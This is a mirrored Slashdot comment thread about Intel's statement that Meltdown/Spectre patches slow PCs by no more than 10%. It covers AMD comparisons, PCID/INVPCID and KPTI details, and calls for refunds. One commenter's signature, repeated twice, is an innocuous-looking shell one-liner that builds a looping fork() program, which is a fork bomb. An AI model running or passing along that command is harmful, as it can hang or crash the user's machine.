Slashdot Mirror


Intel Says Chip-Security Fixes Leave PCs No More Than 10% Slower (axios.com)

Intel trying to defuse concern that fixes to widespread chip security vulnerabilities will slow computers, released test results late Wednesday showing that personal computers won't be affected much and promised more information on servers. From a report: The chipmaker published a table of data showing that older processors handled typical tasks 10 percent slower at most, after being updated with security patches. The information covered three generations of processors, going back to 2015, running Microsoft's Windows 10 and Windows 7 computer operating systems. Further reporting: Intel, Microsoft offer differing views on impact of chip flaw

21 of 276 comments (clear)

  1. So AMD processors were faster all along? by Anonymous Coward · · Score: 5, Insightful

    Intel was knowingly breaking security to make their crap seem faster.

    1. Re:So AMD processors were faster all along? by Anonymous Coward · · Score: 5, Interesting

      They were told about it over 20 years ago, by the very people who were most likely to exploit it before it became public knowledge...

      On 8 May 1995, a paper called "The Intel 80x86 Processor Architecture: Pitfalls for Secure Systems" published at the 1995 IEEE Symposium on Security and Privacy warned against covert timing channel in CPU cache and translation lookaside buffer (TLB).[23] This analysis was performed under the auspices of the National Security Agency's Trusted Evaluation Program (TPEP).

    2. Re:So AMD processors were faster all along? by Anonymous Coward · · Score: 3, Informative

      Here:

      https://pdfs.semanticscholar.org/2209/42809262c17b6631c0f6536c91aaf7756857.pdf

      It's very unlikely Intell had not come across that document given where it appeared.

      It's not the only one. Do search at your leisure...

    3. Re:So AMD processors were faster all along? by HiThere · · Score: 5, Interesting

      Both chips did branch prediction, AMD just checked address validity before the speculative execution rather than afterwards. This allowed Intel chips to be faster at executing the code by ignoring certain (apparently known) security problems.

      But whether it was actually faster or not can be disputed, because Intel is also known to have gamed compilers to disadvantage AMD. In that case they made the AMD chips seem slower by cheating. The question is how many of the benchmarks were done with the altered compilers. And this is where the accusation that Intel made their chips *seem* faster gains validity.

      --

      I think we've pushed this "anyone can grow up to be president" thing too far.
  2. Re:Oh, just 10% by SlaveToTheGrind · · Score: 5, Insightful

    my US state's sales tax was 5% and it went up to 6% a few years ago. Everyone was pissed by a 1% change

    That's a 20% change.

  3. But the IME flaw remains, what else is in there? by Anonymous Coward · · Score: 5, Insightful

    These people lied about every aspect of each of these major vulnerabilities. 10% is whatever, that's bad but worse is that NOBODY CAN TRUST INTEL WHATSOEVER, and they are the market leader.

    Their obfuscation of the meltdown issue is unreasonably bad management, and their CEO sold a ton of shares right as the company secretly found out a year ago? The combination is absolutely toxic.

    Clean house or watch it burn.

  4. Older Chips? by gettin2old · · Score: 4, Informative

    According to their chart, he oldest CPU they tested is 2.5 years old. Giving that some more proactive businesses have a 3+ year retention rate on hardware, "older" is hardly the word i'd use.

  5. Note they only go back to 6th generation by Hal_Porter · · Score: 4, Interesting

    I.e. the 6700K.

    I.e. all the chips have PCID

    It's a bit hazy when PCID and INVPCID became supported.

    This says PCID was first supported in Westmere

    https://www.realworldtech.com/...

    Another long overdue improvement to the page tables is the Processor Context ID (PCID). The PCID is a field in each TLB entry that associates a given page to a process. Previously, Intel's TLB could only contain entries from a single process and whenever the CR3 register was written (e.g. a context switch), the TLB was flushed. The PCID lets pages from different processes safely inhabit the TLB together, so that CR3 writes no longer flush the TLB. Whenever a process tries to access a page in memory, the PCID is checked to determine whether the page is actually mapped into the process' address space; if the PCID does not match then a TLB miss occurred. This is very much analogous to Intel's VPID, which enables the TLB to contain pages from different virtual machines and avoid TLB flushes during VM transitions.

    The LWN patch says

    http://lkml.iu.edu/hypermail/l...

    PCIDs are generally available on Sandybridge and newer CPUs. However,
    the accompanying INVPCID instruction did not become available until
    Haswell (the ones with "v4", or called fourth-generation Core). This
    instruction allows non-current-PCID TLB entries to be flushed without
    switching CR3 and global pages to be flushed without a double
    MOV-to-CR4.

    I.e. it'd be interesting to see what happens on a CPU old enough not to support enough of PCID/INVPCID to optimized KPTI.

    The claims of >10% hits are all for these old CPUs.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
    1. Re:Note they only go back to 6th generation by erapert · · Score: 4, Informative

      So this now puts Intel chips right in line with AMD's Ryzen per-core performance... except Ryzen costs less and delivers more cores.
      I wish I'd bought AMD stock two years ago...

    2. Re:Note they only go back to 6th generation by Hal_Porter · · Score: 3, Informative

      Interesting thing is that PCID predates INVPCID. And you can get some of the effects of an INVPCID on a processor which only supports PCID.

      I.e.

      http://forum.osdev.org/viewtop...

      MOV to CR3. The behavior of the instruction depends on the value of CR4.PCIDE:

      If CR4.PCIDE = 0, the instruction invalidates all TLB entries associated with PCID 000H except those for global pages. It also invalidates all entries in all paging-structure caches associated with PCID 000H.

      If CR4.PCIDE = 1 and bit 63 of the instructionâ(TM)s source operand is 0, the instruction invalidates all TLB entries associated with the PCID specified in bits 11:0 of the instructionâ(TM)s source operand except those for global pages. It also invalidates all entries in all paging-structure caches associated with that PCID. It is not required to invalidate entries in the TLBs and paging-structure caches that are associated with other PCIDs.

      If CR4.PCIDE = 1 and bit 63 of the instructionâ(TM)s source operand is 1, the instruction is not required to invalidate any TLB entries or entries in paging-structure caches.

      See
      https://www.intel.com/content/... page 145

      This chap tried it, and apparently it works

      http://www.dumais.io/index.php...

      I.e. with bit 63 and 0:11 set to PCID a write to CR3 works like INVPCID in processors which don't have INVPCID.

      This actually makes a difference. My 2012 Macbook pro has a

      machdep.cpu.brand_string: Intel(R) Core(TM) i5-3210M CPU @ 2.50GHz
      machdep.cpu.features: FPU VME DE PSE TSC MSR PAE MCE CX8 APIC SEP MTRR PGE MCA CMOV PAT PSE36 CLFSH DS ACPI MMX FXSR SSE SSE2 SS HTT TM PBE SSE3 PCLMULQDQ DTES64 MON DSCPL VMX EST TM2 SSSE3 CX16 TPR PDCM SSE4.1 SSE4.2 x2APIC POPCNT AES PCID XSAVE OSXSAVE TSCTMR AVX1.0 RDRAND F16C

      I.e. assuming the patches know the bit 63 set in writes to cr3 trick, they should be able to do page table invalidation per PCID even on rather old chips.

      It looks like KAISER on Linux supports/will support this

      https://github.com/nathanchanc...

      https://lkml.org/lkml/2017/11/... [currently down(!) but the title is "Subject [PATCH 4/6] x86/mm/kaiser: Support PCID without INVPCID"]

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
    3. Re: Note they only go back to 6th generation by Anonymous Coward · · Score: 4, Insightful

      Only Intel is vulnerable to Meltdown when it comes to x86/64 PCs.
      They are both impacted by gravity and the laws of physics.
      We don't bring up gravity and the speed of light in typical discussions because they affect both CPUs about equally. Similarly, Spectre doesn't matter.

  6. huh? by jbmartin6 · · Score: 3, Interesting

    Is 10 percent "at most" supposed to be reassuring?

    --
    This posting is provided 'AS IS' without warranty of any kind, implied or otherwise.
    1. Re:huh? by jwhyche · · Score: 3

      How about we demand a 10% refund on our chips? I wonder how that would fly. I think replacement would be a better offer though.

      --
      I read at +2. If your post doesn't reach that level I will not see or respond to it.
    2. Re:huh? by jwhyche · · Score: 3

      I doubt that most users would even notice a 10% difference. I've applied all the appropriate patches and I haven't noticed any difference in performance. Still that being said, I didn't pay for 90% performance. I paid for 100% performance, and I expect to have it.

      I switched from AMD to Intel for this cycles build. I'm starting to rethink that.

      --
      I read at +2. If your post doesn't reach that level I will not see or respond to it.
  7. That is huge by 110010001000 · · Score: 4, Insightful

    If Intel is admitting a 10% slowdown then it must be much much larger. Because Intel and benchmarks don't live in reality.

  8. Not seeing any so far in real tasks by SuperKendall · · Score: 3, Informative

    After an OSX update a real world compile of a project that takes around two minutes to complete, too almost exactly the same amount of time, or slightly faster... since compilation involves lots of small files and system calls I would expect it to be harder hit than most tasks. However because they had a partial Meltdown patch in around December, not sure if we would see much of an effect... no-one in December complained about slowdowns from the OSX update at that time though either.

    I don't think things most people do will be that affected by the patch.

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
  9. Re:Oh, just 10% by hey! · · Score: 3, Informative

    The relevant base to calculate from depends on what you're focused on.

    Take an increase of sales tax from 5% to 6%. If you're focused on how much money you're giving to your local government, 20% is the correct figure to use. If you're focused on the effective change in total prices, 1% is the correct figure to use.

    What computer users are naturally focused on is the amount of CPU capacity available for work. A 10% reduction in that is significant, but not catastrophic for most users. In fact many might not ever see any perceptible difference. However, in computer performance there is a powerful, non-linear difference between "just barely enough" and "not quite enough" resources. That means some users are bound to experience this marginal reduction in power as a dramatic difference on some workloads.

    --
    Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
  10. Re: Oh, just 10% by Megol · · Score: 3, Insightful

    And this is why one shouldn't argue on the Internet: there are a lot of anonymous idiots.

  11. Re:But what of the blowhards by MachineShedFred · · Score: 5, Insightful

    I don't claim to be any kind of semiconductor engineer, but I am a customer that paid for something, and post-facto have a choice between insecure, or less performance than I paid for.

    If you think this is fine, then you are either a paid shill or a deluded fanboy.

    --
    Slashdot still doesnâ(TM)t support Unicode after it was added to the HTML standard in 1997.
  12. Re:But what of the blowhards by networkBoy · · Score: 5, Insightful

    Well, I'm no shill (and am no longer on Intel's payroll) but am a fanboi.

    That said, the position you and Intel are in is commonly referred to by its acronym:
    F.U.B.A.R.

    There is no realistic recourse for Intel to offer that would satisfy the majority of the install base.

    Full replacement at cost is likely to leave a lot of people very angry, and devastate Intel's Fiscal Year, but it is likely the best possible outcome.

    Trying to make Intel replace everything affected for free (like with the FDIV bug) is a non starter. Intel can't likely even fab the old chips any more, and even if they could it would still require a redesign, so it's a non-starter. Giving everyone new chips would not be like for like, so you have issues where old software won't run, but is still required, also a non-starter. Additionally, both those options would likely bankrupt the company entirely, meaning people *still* wouldn't get replacements, and you'd have 100K freshly unemployed.

    The most likely outcome I see is a rebate/coupon towards the purchase of any system containing a new Intel CPU from any vendor where the dollar value of the rebate is tied to the age/sku of the old CPU, with no or soft requirements to return the old CPU.

    What would you (as a consumer) expect?

    I likely won't get squat, since all my CPUs are samples that employees were given at various times, or bought via employee purchase channels.

    --
    whois gawk date unzip strip find touch finger mount join nice man top fsck grep eject more yes exit umount sleep dump
  13. Re:But what of the blowhards by Anonymous Coward · · Score: 5, Insightful

    Exaggeration isn't necessary. Even taking Intel at their word, that 10% differential has been their selling point for years. That means the very reason people bought Intel over the competitor is now bunk. At the very least, consumers are due a rebate, and that only (barely) addresses the lost value to those consumers, to say nothing about the damage Intel caused to its competitors in peddling this lie.

    The 10% figure sure sounds negligible... until you give it more than five seconds of critical thought. Any way you slice it, Intel reaped illegitimate profits. And instead of making it right, they're busy trying to discredit the very people who have supported them over the years: their customers. This is the gold standard of how not to handle a situation like this.